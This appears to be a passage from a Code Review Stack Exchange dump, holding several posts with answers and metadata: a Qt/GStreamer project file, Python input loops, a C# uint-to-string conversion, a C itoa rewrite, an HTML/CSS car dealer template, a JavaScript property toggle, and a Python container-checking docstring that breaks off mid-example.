setSnapshot(); void saveSnapshot(QString filename); private: QPixmap pixmap; QPixmap snapshot; }; </code></pre> <p>[Qt project file]</p> <pre><code>#------------------------------------------------- # # Project created by QtCreator 2018-10-25T11:34:49 # #------------------------------------------------- QT += core gui greaterThan(QT_MAJOR_VERSION, 4): QT += widgets TARGET = gst_gige_camera TEMPLATE = app # The following define makes your compiler emit warnings if you use # any feature of Qt which has been marked as deprecated (the exact warnings # depend on your compiler). Please consult the documentation of the # deprecated API in order to know how to port your code away from it. DEFINES += QT_DEPRECATED_WARNINGS # You can also make your code fail to compile if you use deprecated APIs. # In order to do so, uncomment the following line. # You can also select to disable deprecated APIs only up to a certain version of Qt. #DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0 CONFIG += c++11 SOURCES += \ main.cpp \ mainwindow.cpp \ acquisitiontype.cpp \ imagetype.cpp HEADERS += \ mainwindow.h \ acquisitiontype.h \ imagetype.h INCLUDEPATH += $$system(pkg-config --cflags gstreamer-1.0) QMAKE_CXXFLAGS += $$system(pkg-config --cflags gstreamer-1.0) LIBS += $$system(pkg-config --libs gstreamer-1.0 gstreamer-app-1.0) # Default rules for deployment. qnx: target.path = /tmp/<span class="math-container">$${TARGET}/bin else: unix:!android: target.path = /opt/$$</span>{TARGET}/bin !isEmpty(target.path): INSTALLS += target </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T21:25:57.160", "Id": "257417", "Score": "1", "Tags": [ "c++", "qt" ], "Title": "Indicating a lost signal when streaming live video with GStreamer and Qt" }
257417
<p>In the following code I used a <code>while True:</code> loop and implemented <code>break</code>, because I couldn't figure out a cleaner solution than an infinite loop. Is this approach considered bad practice? Here is my code:</p> <pre><code>while True: z = int(input(&quot;Y: &quot;)) if (z &gt;= 0 and z &lt;= 20): break for x in range(z): print(&quot;-&quot; * (z-x) + &quot;*&quot; * x + &quot; &quot; * x + &quot;-&quot; * (z-x)) </code></pre> <p>... which outputs:</p> <pre class="lang-none prettyprint-override"><code>Y: 12 ------------------------ -----------* ----------- ----------** ---------- ---------*** --------- --------**** -------- -------***** ------- ------****** ------ -----******* ----- ----******** ---- ---********* --- --********** -- -*********** - </code></pre>
[]
[ { "body": "<blockquote>\n<p>I couldn't figure out a cleaner solution than an infinite loop. Is this approach considered bad practice?</p>\n</blockquote>\n<p>You can't do much better, since Python doesn't have the equivalent of a C-style <code>do/while</code>.</p>\n<p>This is a trivial program so I doubt it's even worth adding functions (etc.); the one thing that can be improved is</p>\n<pre><code>if (z &gt;= 0 and z &lt;= 20):\n</code></pre>\n<p>can be</p>\n<pre><code>if 0 &lt;= z &lt;= 20:\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:43:00.427", "Id": "257426", "ParentId": "257420", "Score": "3" } }, { "body": "<p>There's nothing wrong with using a <code>while True</code> loop: it often produces the most readable implementation.</p>\n<p>Here's an alternative approach. It has one clear benefit: it handles invalid inputs. It also illustrates a useful technique to include in the toolbox: recursion for user-input, validation, and related needs that can fail but tend not to fail a large N of times. Opinions often differ on such matters, but this one reads about as well to me as the <code>while True</code> loop. Finally, when checking whether an integer falls within certain bounds, a <code>range()</code> is sometimes clearer than a pair of comparisons (and it does not\nraise a <code>TypeError</code> if the value is <code>None</code>).</p>\n<pre><code>def get_int(prompt):\n try:\n z = int(input(prompt))\n except ValueError:\n z = None\n return z if z in range(0, 21) else get_int(prompt)\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T00:36:55.403", "Id": "508544", "Score": "0", "body": "@HTML402 please don't add this technique to your tool box. Recursion adds no benefits when dealing with user input. Use an iterative approach instead." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T18:33:13.577", "Id": "508772", "Score": "0", "body": "each recursive call unnecessarily adds an execution frame to the call stack. But the real problem is that the number of invalid inputs has no upper bound, whereas the number of recursive calls is limited. Once you hit that limit (IIRC CPython will raise a RecursionError when the recursion depth exceeds 1000 by default), the only reasonable thing to do (at least in the particular case of user input) is call the recursive function again from the same or lower recursion depth, which requires a loop. And then you have recursion _and_ iteration where iteration alone would have been sufficient." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T21:23:59.633", "Id": "508783", "Score": "0", "body": "I'm only concerned about the \"a useful technique to include in the toolbox: recursion for user-input, validation, and related needs that can fail but tend not to fail a large N of times.\" In real world programming, 'tends to' is not applicable, especially when dealing with user input. If you don't want to introduce a potential exploit or potentially bad user experience, the edge case I mentioned must be handled, either in the function itself or by the caller of the function. In any case, you'll end up with a `while True: try: ...` around the recursive function." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T22:41:38.763", "Id": "508789", "Score": "0", "body": "the only difference between the `while True` loop and the recursive function is that the latter introduces potential problems without any benefit. No time or effort is wasted using the loop instead of the recursive function. Please don't get me wrong, it's fine to demonstrate that one can hammer a nail into a wall using the handle of a screwdriver, but that doesn't make it a useful technique." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T15:26:40.247", "Id": "257445", "ParentId": "257420", "Score": "0" } }, { "body": "<p>I thought I'd add a useful concept for more complex cases. I fully agree with the previous answers though, they are more adequate for a simple case like this.</p>\n<p>The <a href=\"https://realpython.com/lessons/assignment-expressions/\" rel=\"nofollow noreferrer\">walrus operator</a> <code>:=</code> can be useful when looping and simultaneously updating a variable. So in your simple case it might look like this:</p>\n<pre><code>while (z := int(input(&quot;Y: &quot;))) not in range(0, 21):\n pass\n</code></pre>\n<p>An equivalent way to write it would be</p>\n<pre><code>while not (0 &lt;= (z := int(input(&quot;Y: &quot;))) &lt;= 20):\n pass\n</code></pre>\n<p>This will assign <code>int(input(&quot;Y: &quot;))</code> to <code>z</code> until it is in <code>range(0, 21)</code>, i.e. between 0 and 21. This makes it so you could use <code>z</code> for further calculations in the body of your loop without the need for additional assignment. This will throw an error for non-number inputs though, so be careful. I personally only prefer this approach if there are additional calculations to be done with the value, since I don't like using <code>pass</code> here. I find it actually decreases readability compared to your approach.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T16:50:45.607", "Id": "257447", "ParentId": "257420", "Score": "1" } } ]
{ "AcceptedAnswerId": "257426", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T22:24:30.930", "Id": "257420", "Score": "3", "Tags": [ "python", "python-3.x", "ascii-art" ], "Title": "Printing dynamic ascii-art shapes based on user input" }
257420
<p>I'm looking for a more elegant (eg., with less many functions, eg., &quot;copy into contiguous array then reinterpret&quot;) or more efficient way (with less complexity) to transcode a <code>IEnumerable&lt;uint&gt;</code> (~ array of 32bits int), which is a compact way to represent a <code>byte[4]</code> array, into a string as array of 8bits char:</p> <pre><code>public static string UintArraytoString(this IEnumerable&lt;uint&gt; x) =&gt; string.Concat(x.Select(o =&gt; new string(BitConverter.GetBytes(o).Select(Convert.ToChar).ToArray()))); </code></pre> <p>I'm using .net 5.0. I'm open to use unsafe methods too. I think that one may do something like a reinterpretcast, but the <code>IEnumerable</code> is not necessarily contiguous.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:50:18.653", "Id": "508502", "Score": "0", "body": "what do you mean by `more elegant or more efficient` performance ? memory ? ..etc. you have to be specific." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T09:21:50.427", "Id": "508504", "Score": "0", "body": "@iSR5 more elegant (eg., with less many functions) or more efficient way (with less complexity)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T15:18:02.530", "Id": "508513", "Score": "0", "body": "A performance tip, consider to implement it using `string.Create` - https://docs.microsoft.com/ru-ru/dotnet/api/system.string.create?view=net-5.0" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T15:27:10.827", "Id": "508514", "Score": "0", "body": "If it was `uint[] x` not `IEnumerable<uint> x` then it would be look like `public static string UintArraytoString(this ReadOnlySpan<uint> x) => Encoding.ASCII.GetString(MemoryMarshal.Cast<uint, byte>(x));`" } ]
[ { "body": "<p>Well, I could propose few improvements for you:</p>\n<ol>\n<li>Try to use SelectMany instead of just Select;</li>\n<li>No need to call ToArray since the string.Concat could consume IEnumerable;</li>\n</ol>\n<pre><code>public static string UintArrayToString(this IEnumerable&lt;uint&gt; x) =&gt;\n string.Concat(x.SelectMany(BitConverter.GetBytes).Select(Convert.ToChar));\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T14:11:28.377", "Id": "257440", "ParentId": "257421", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T23:06:09.257", "Id": "257421", "Score": "2", "Tags": [ "c#" ], "Title": "decode `IEnumerable<uint>` to string made of 1 byte characters (eg., ASCII)" }
257421
<p>I wrote an <a href="https://codereview.stackexchange.com/questions/257387/writing-an-itoa-function">itoa function yesterday</a>, which based on feedback I am now working on improving. How does the below look? Are there any ways in which I can improve it?</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;limits.h&gt; char* itoa(int number, size_t sz, char buffer[sz]) { // do error handling and edge cases if (buffer == NULL || sz == 0) return NULL; else if (number == 0) return strcpy(buffer, &quot;0&quot;); char tmp[sz]; int idx = 0; bool is_negative = (number &lt; 0); if (!is_negative) number = -number; // so we can handle INT_MIN for (; number != 0; number/=10, idx++) { if (sz-- == 0) return NULL; tmp[idx] = '0' - (number % 10); // negative version of number + '0' } if (is_negative) { if (sz-- == 0) return NULL; tmp[idx++] = '-'; } // reverse for (int i=0; i&lt;idx; i++) buffer[idx-i-1] = tmp[i]; buffer[idx] = '\0'; return buffer; } int main(void) { char buffer[100]; int test[] = {123, 234, 0, 17, -4, -7, -17, -27, INT_MAX, INT_MIN}; size_t len = sizeof(test) / sizeof(*test); // give it a small buffer and see how it works for (int i=0, num; i &lt; len; i++) { num = test[i]; char* str = itoa(num, 2, buffer); printf(&quot;%-10d &lt;%s&gt;\n&quot;, num, str); } // now give it the correctly-sized buffer for (int i=0, num; i &lt; len; i++) { num = test[i]; char* str = itoa(num, sizeof buffer / sizeof *buffer, buffer); printf(&quot;%-10d &lt;%s&gt;\n&quot;, num, str); } } </code></pre> <p>Working code here: <a href="https://onlinegdb.com/H1xKCemNu" rel="nofollow noreferrer">https://onlinegdb.com/H1xKCemNu</a>. A few questions about this:</p> <ul> <li>It seems like there are just so many edge cases to consider for the most trivial of functions to write in C. For example, the above function took me about two hours to write (and was after some very helpful feedback from @chux). Is that a common issue in writing C code? Or is this more a beginner issue that will go away with experience?</li> <li>With the <code>for</code> loop I often find myself being bitten by an off-by-one error, for example, not realizing the <code>idx</code> is incremented after the previous loop but before the next loop is checked. Are there particular ways to look out for that?</li> <li>Any other areas to improve here?</li> </ul>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:09:49.193", "Id": "508496", "Score": "0", "body": "To answer your first question (which is not a CR Answer, since it's not reviewing the code): yes, C demands a lot of care with edge cases. It's lower-level than many modern languages you might be used to, giving the programmer great control over (therefore great responsibility for) memory management, indexing and so on. With experience, you will learn the common hazards and anticipate them as you write, and probably develop a more defensive programming mindset." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T17:33:35.360", "Id": "508524", "Score": "0", "body": "Toby is correct, however I'd like to add that C++ gives you the same level of control (most valid C code will compile straight up with a C++ compiler, albeit with warnings for casting etc) with more advanced concepts to take away some sharp edges (e.g. RAII, de/copy/-constructors etc) and a more well rounded standard library removing needs to write the nasty bird yourself and to make memory handling safer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T17:42:09.367", "Id": "508525", "Score": "0", "body": "C is often used as the lowest common denominator, just about everything can interface with C libraries due to its ubiquitous legacy. And it is (IMHO wrongly) the default choice for embedded/OS code due to low overhead and direct to metal, but C++ can just as well be used with possibly lower overhead (at least in the OS kernel I ported from C to C++) with the same properties as C, but you can also use classes and other helpful features to keep your sanity and hair growth intact. Really, outside of interoperability or legacy I see no reason to ever use C over C++." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T17:42:28.953", "Id": "508526", "Score": "0", "body": "(I'll get it my soapbox now)" } ]
[ { "body": "<p><strong>Incorrect size check</strong></p>\n<p><code>itoa(num, 2, buffer);</code> forms <code>&quot;17&quot;</code>, which needs 3 <code>char</code>, even though only 2 provided.</p>\n<p>Perhaps OP meant 2 to be the string <em>length</em> allowed and not the string <em>size</em> needed. In which case <code>sizeof buffer / sizeof *buffer</code> is not the <em>length</em> allowed.</p>\n<p><strong>Missing header</strong></p>\n<p>Add <code>#include &lt;stdbool.h&gt;</code></p>\n<p><strong>Missing size check</strong></p>\n<p>Corner case: <code>strcpy(buffer, &quot;0&quot;);</code> occurs even if <code>sz == 1</code>.</p>\n<hr />\n<p>A simple alternative to buffer overflow concerns is to form the initial characters in a local buffer that is right-sized for worst case (<code>INT_MIN</code>) like <code>char local_buf[12]</code>. Check <code>idx</code> against <code>sz</code>. Then reverse into the true destination.</p>\n<pre><code>// Re-write end-of-code.\n// ....\n// Prior code does not check `sz` nor change sz as characters are saved in ample sized local_buf\n\nif (idx + 1 &gt; sz) {\n if (sz &gt; 0) buffer[0] = 0; // Set buffer[] to &quot;&quot; if possible\n return NULL;\n}\n\nfor (int i=0; i&lt;idx; i++)\n buffer[idx-i-1] = local_buf[i];\nbuffer[idx] = '\\0';\nreturn buffer;\n</code></pre>\n<hr />\n<p>Rather than hard-code <code>12</code> use code to scale to the size needed. E.g.</p>\n<pre><code>// Scale by log10(2)\n#define INT_STR_SZ (sizeof(int)*CHAR_BIT*301030/1000000 + 3)\nchar local_buf[INT_STR_SZ];\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:08:34.297", "Id": "508487", "Score": "0", "body": "thanks again. Yes I was incorrectly doing `sz` as \"string size\" rather than buffer size so I have (yet another case of) an off-by-one error, thanks for pointing that out. Also, when someone defines a size for a string function, does that usually mean buffer-size or string-size? Or does it depend?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:10:43.797", "Id": "508488", "Score": "0", "body": "Also, could you please explain the `CHAR_BIT*30103/100000` ? How does that evaluate to a log10 ?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:11:46.547", "Id": "508489", "Score": "0", "body": "@carl.hiass Using the _standard C library_, most string `size_t sz`-like parameters refer to the size of the buffer, not the allowable string length. I'd go with the _size_. IAC, a little documentation always help to detail function parameters" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:12:54.283", "Id": "508490", "Score": "0", "body": "also for `size_t len = sizeof(test) / sizeof(*test);` do you mean `sizeof(buffer)...` ? The former is just the number of items in the iterable." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:14:27.023", "Id": "508491", "Score": "1", "body": "The number of characters needed to convert the worst case `int` is log10(2) (0.3010299956...) for each value bit, 1 to round-up, 1 for sign, 1 for \\0. A few extra certainly does not hurt." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:16:13.620", "Id": "508492", "Score": "0", "body": "@carl.hiass Yes, corrected to `sizeof buffer / sizeof *buffer`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:33:34.203", "Id": "508493", "Score": "1", "body": "Change `30103/100000` to `301030/1000000` to insure math done with wider than 16-bit math. [Other good fractions](https://stackoverflow.com/a/66676365/2410359) exist." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:10:08.207", "Id": "508497", "Score": "0", "body": "cool, so all in all would you say this version is much improved over the recursive version I had?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:14:48.407", "Id": "508498", "Score": "1", "body": "Yes. Recursion is not a good fit here. Good you did not give up on buffer protection. Yet [another apporach](https://stackoverflow.com/a/34641674/2410359)." } ], "meta_data": { "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:04:27.273", "Id": "257430", "ParentId": "257428", "Score": "4" } } ]
{ "AcceptedAnswerId": "257430", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T04:50:49.000", "Id": "257428", "Score": "2", "Tags": [ "c", "reinventing-the-wheel" ], "Title": "Improving an itoa function" }
257428
<p>This is my working code for a HTML auto dealer template which does the job, but esthetically, isn't quite that pleasing and is very functional (use Expand snippet on all of these to see the design properly):</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>body { font-size: 18px; line-height: 1.3; text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.004); text-rendering: optimizeLegibility !important; } body { font-family: Fabriga, Helvetica, sans-serif; } body { background-color: #F5FFFA; } @font-face { font-family: Fabriga; src:url("https://c.atcdn.co.uk/fonts/ATFabriga-Regular.eot?v=1.1.0"); src:url("https://c.atcdn.co.uk/fonts/ATFabriga-Regular.eot?#iefix&amp;v=1.1.0") format("embedded-opentype"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Regular.woff2?v=1.1.0") format("woff2"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Regular.woff?v=1.1.0") format("woff"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Regular.ttf?v=1.1.0") format("truetype"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Regular.svg?v=1.1.0#Regular") format("svg"); font-weight:400; font-style:normal } @font-face { font-family: FabrigaMed; src:url("https://c.atcdn.co.uk/fonts/ATFabriga-Medium.eot?v=1.1.0"); src:url("https://c.atcdn.co.uk/fonts/ATFabriga-Medium.eot?#iefix&amp;v=1.1.0") format("embedded-opentype"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Medium.woff2?v=1.1.0") format("woff2"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Medium.woff?v=1.1.0") format("woff"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Medium.ttf?v=1.1.0") format("truetype"), url("https://c.atcdn.co.uk/fonts/ATFabriga-Medium.svg?v=1.1.0#Medium") format("svg"); font-weight:400; font-style:normal } header { background-color: #C71585; margin-bottom: 3px; border-radius: 4px 6px; padding: 20px; } header { margin-left: 20px; } header h1, header h2, header h3 { color: #FFFFFF; } div.feld-name-title h2 { color: red; } div.usecc1 { background-color: #FFFFFF; margin-bottom: 30px; border: 3px solid; border-radius: 6px 6px; font-size: 18px; display: table; margin-left: 40px; } div.usecc1-header { width: 1000px; margin-left: 40px; margin-right: 40px; } div.usecc1-header .price { font-size: 18px; display: flex; justify-content: space-between; } ul.daldry { margin-left: 40px; } ul.daldry &gt; li { margin-left: 40px; font-size: 18px; display: table-cell; padding: 3px; } ul.daldry &gt; li::after { content: ' | '; } .usecc1-img { float: left; padding: 20px; margin-left: 40px; margin-right: 10px; } .usecc1-img img { width: 420px; } h1, h2, h3 { color: #333; } .feld-name-vehicle-additional-info { font-size: 14px; display: flex; margin-left: 200px; margin-right: 200px; margin-bottom: 22px; white-space: pre-line; padding: 5px; line-height: 18px; } .feld-name-title { text-align: left; color: #294c30; } .price { font-family: FabrigaMed, sans-serif; font-size: 18px; float: right; margin-top: -60px; margin-right: 100px; } .feld-name-title h3 { font-family: FabrigaMed, sans-serif; font-size: 1.375rem; margin-bottom: 0; line-height: 1.5; font-weight: normal; } .specs-list { list-style-type: none; margin-left: -10px; margin-right: -10px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;header&gt; &lt;H1&gt;SOUTHSIDE MOTORS&lt;/H1&gt; &lt;h3&gt;10061 Southside Road, Newport, Southside, LOS ANGELES&lt;/h3&gt; &lt;h3&gt;555 121-234&lt;/h3&gt; &lt;/header&gt; &lt;div class="content"&gt; &lt;p&gt;We are based in Southside, Los Angeles.&lt;/p&gt; Content &lt;div class="usecc1"&gt; &lt;div class="usecc-header"&gt; &lt;div class="feld-name-title"&gt; &lt;h3&gt;Buick Regal 2.0T Premium II&lt;/h3&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="price"&gt; &lt;h3&gt;$24,000&lt;/h3&gt; &lt;/div&gt; &lt;ul class="daldry"&gt; &lt;li&gt;2018&lt;/li&gt; &lt;li&gt;Hatchback&lt;/li&gt; &lt;li&gt;2.0L&lt;/li&gt; &lt;li&gt;10,000 miles&lt;/li&gt; &lt;li&gt;Automatic&lt;/li&gt; &lt;li&gt;Petrol&lt;/li&gt; &lt;/ul&gt; &lt;div class="usecc1-img"&gt; &lt;img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b4/2018_Buick_Regal_Sportback_Preferred_II_FWD%2C_Ebony_Twilight_Metallic%2C_front_right.jpg/500px-2018_Buick_Regal_Sportback_Preferred_II_FWD%2C_Ebony_Twilight_Metallic%2C_front_right.jpg"&gt; &lt;/div&gt; &lt;div class="feld-name-vehicle-additional-info"&gt;Ash black, ONLY 10,000 MILES! &lt;/div&gt; &lt;/div&gt; &lt;div class="usecc1"&gt; &lt;div class="usecc-header"&gt; &lt;div class="feld-name-title"&gt; &lt;h3&gt;Subaru Leone 1.8 GL&lt;/h3&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="price"&gt; &lt;h3&gt;$5,999&lt;/h3&gt; &lt;/div&gt; &lt;ul class="daldry"&gt; &lt;li&gt;1994&lt;/li&gt; &lt;li&gt;Stationwagon&lt;/li&gt; &lt;li&gt;1.8L&lt;/li&gt; &lt;li&gt;70,000 miles&lt;/li&gt; &lt;li&gt;Automatic&lt;/li&gt; &lt;li&gt;Petrol&lt;/li&gt; &lt;/ul&gt; &lt;div class="usecc1-img"&gt; &lt;img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b5/1994_Subaru_L_Series_Deluxe_Sportswagon_station_wagon_%282011-10-23%29_01.jpg/1280px-1994_Subaru_L_Series_Deluxe_Sportswagon_station_wagon_%282011-10-23%29_01.jpg"&gt; &lt;/div&gt; &lt;div class="feld-name-vehicle-additional-info"&gt;white &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>I'm aiming for my design to look a bit like this: <a href="https://www.autotrader.co.uk/car-search?sort=distance&amp;postcode=HA80AG&amp;radius=1500&amp;make=FORD&amp;model=FIESTA&amp;include-delivery-option=on" rel="nofollow noreferrer">design</a> with the images stacked at the side and box with shadow on hover, but unlike the linked page, people can save the image.</p> <p>I added in the rounded corners and border to show the DIVs here.</p> <p>I also am trying to get the DIVs to be the same sort of size.</p> <p>What I am looking for is advice on how to emulate the linked-to website's style in some ways (although there is no need for a sidebar) while making it user-friendly.</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T13:16:04.480", "Id": "257437", "Score": "1", "Tags": [ "html", "css" ], "Title": "Getting images to align side-by-side and making DIV with image not move with text?" }
257437
<p>I am runing this function that finds an object in an array and toggles the boolean <code>lead</code> property.</p> <p>I am actually doing this in react so in there I do change the data via state and in the end if I run it again it would toggle <code>Gary</code> true/false, so it works fine.</p> <p>My question is regarding the JavaScript code itself, it feels a bit convoluted, is there a better way?</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>const people = [ { "name": "Olivia", "lead": true }, { "name": "Gary", "lead": false }, { "name": "Adam", "lead": false } ] const toggleLead = (name) =&gt; { const values = [...people].map(person =&gt; person.name === name ? { ...person, lead: !person.lead } : { ...person } ) return values } console.log(toggleLead('Gary'))</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code></pre> </div> </div> </p>
[]
[ { "body": "<p>This could be accomplished via an XOR, or boolean not equal in other words.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const people = [\n {\n \"name\": \"Olivia\",\n \"lead\": true\n },\n {\n \"name\": \"Gary\",\n \"lead\": false\n },\n {\n \"name\": \"Adam\",\n \"lead\": false\n }\n]\n\nconst toggleLead = (name) =&gt;\n [...people].map(person =&gt;\n ({\n ...person,\n lead: person.lead !== (person.name===name)\n })\n )\n\nconsole.log(toggleLead('Gary'))</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T13:51:09.280", "Id": "508511", "Score": "0", "body": "Thanks, it works great and it is a lot more concise" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T13:46:13.717", "Id": "257439", "ParentId": "257438", "Score": "1" } } ]
{ "AcceptedAnswerId": "257439", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T13:28:45.513", "Id": "257438", "Score": "0", "Tags": [ "javascript" ], "Title": "Best way to toggle a property in an array" }
257438
<p>This code checks the type, length and depth (highest number of nested containers) of the container as well as the type of its sub-containers and its elements. There are also two simple methods for type checking non-nested list / tuples. I mainly want a code review on readability and the quality of the docstrings.</p> <pre><code>from inspect import isclass from itertools import islice from typing import Any, Optional, Union from collections.abc import Iterable, Sized, Container as GenericContainer from typing import List, Tuple, Callable def is_n_container( obj: Any, matching_type: Union[type, List[type], Tuple[type, ...], None] = None, container_type: Union[type, List[type], Tuple[type, ...], None] = None, length: Union[int, Callable[[Any], bool], None] = None, depth: Union[int, Callable[[Any], bool], None] = None ) -&gt; Optional[bool]: &quot;&quot;&quot;Checks if `obj` is a container with expected properties. Verifies that container `obj` and its sub-containers are of a type specified in `container_type` and all non-container elements of `obj` are of a type specified in `matching_type`. The length of the container `obj` and its maximum depth is confirmed. More complex requirements can be satisfied by providing a function for its length and depth (see notes). `None` acts as a &quot;wildcard&quot; for the parameters if the type of non-container elements, the type of the container `obj` and its sub-containers, the length of container `obj` or the depth of container `obj` doesn't matter. Parameters ---------- obj : any Object that is checked to be a container with specified properties. matching_type : type or list/tuple of types, optional Allowed types for non-container elements of container 'obj'. container_type : type or list/tuple of types, optional Allowed types for container 'obj' and its sub-containers. length : int or function, optional Number of elements of depth zero in container 'obj'. depth : int or function, optional Maximum depth of nested containers. Returns ------- bool, optional Returns 'None' if a parameter has an incorrect format, 'True' if 'obj' is container of parameter-defined properties or 'False' otherwise. Raises ------ ValueError If 'length' or 'depth' is smaller than zero. TypeError If 'length' is specified but 'obj' has no length attribute accessible through 'len()' or by iterating over it. Warnings -------- **Warning**: If a container type is included in the `matching_type` parameter, checking will stop once the container type is found without analysing its internal structure. **Warning**: If iterating over the container changes it as a side effect, the behaviour of `is_n_container` becomes undefined. Notes ----- A function used as argument for parameter `length` or parameter `depth` should take an object (`obj`) as argument and return `True` if the object has the required length/depth or `False` otherwise. Variable length containers also include empty containers. If empty containers should be excluded, check for empty containers separately or use `not is_n_container(obj, length=0, **kwargs) and is_n_container(obj, length=None, **kwargs)`. Even when a sub-container is empty it adds another level of depth (e.g. ([], 1, 2, 3) has depth 1), unless the sub-container is a type in parameter `matching_type` (e.g. with `matching_type=(int, list)` ([], 1, 2, 3) has depth 0). Examples -------- Types of elements: int, float, str \n Types of containers: list, tuple \n Depth 0: [(I), 2, 3, (II), (III), 2.3] - Length: 6 \n Depth 1: I - 'a', 1, 'b' | II - 4, 5 | III - (IV), 9 \n Depth 2: IV - (V), 8 \n Depth 3: V - 6, 7 &gt;&gt;&gt; container = [['a', 1, 'b'], 2, 3, (4, 5), (((6, 7), 8), 9), 2.3] Use all parameters and `bool` as an unused `matching_type` parameter &gt;&gt;&gt; is_n_container(container, matching_type=(int, str, float, bool), ... container_type=(tuple, list), length=6, depth=3) True Wrong length &gt;&gt;&gt; is_n_container(container, matching_type=(int, str, float, bool), ... container_type=(tuple, list), length=5, depth=3) False Allow more depth than needed &gt;&gt;&gt; is_n_container(container, matching_type=(int, str, float), ... container_type=(tuple, list), depth=5) True Expect a too shallow structure &gt;&gt;&gt; is_n_container(container, matching_type=(int, str, float), ... container_type=(tuple, list), length=6, depth=2) False Missing `matching_type` arguemnt `float` &gt;&gt;&gt; is_n_container(container, matching_type=(int, str), ... container_type=(tuple, list)) False Missing 'container_type' argument 'list' &gt;&gt;&gt; is_n_container(tuple(container), ... matching_type=(int, str, float), ... container_type=tuple) False Container `obj` is still a list &gt;&gt;&gt; is_n_container(container[1:-1], matching_type=int, ... container_type=tuple) False Now all containers are of type `tuple` &gt;&gt;&gt; is_n_container(tuple(container[1:-1]), matching_type=int, ... container_type=tuple) True Using `None` for an argument allows for a wide variety of acceptable containers, but not non-container objects &gt;&gt;&gt; containers = [[1, 2, 3], ('a', 'b', 'c'), {1.5, 2.4, 3.3}, True] &gt;&gt;&gt; for i in (0, 1, 2, 3): ... is_n_container(containers[i], depth=1) True True True False Even if the container is empty it adds another level of depth &gt;&gt;&gt; container = [(), ([], 1), 2] &gt;&gt;&gt; for 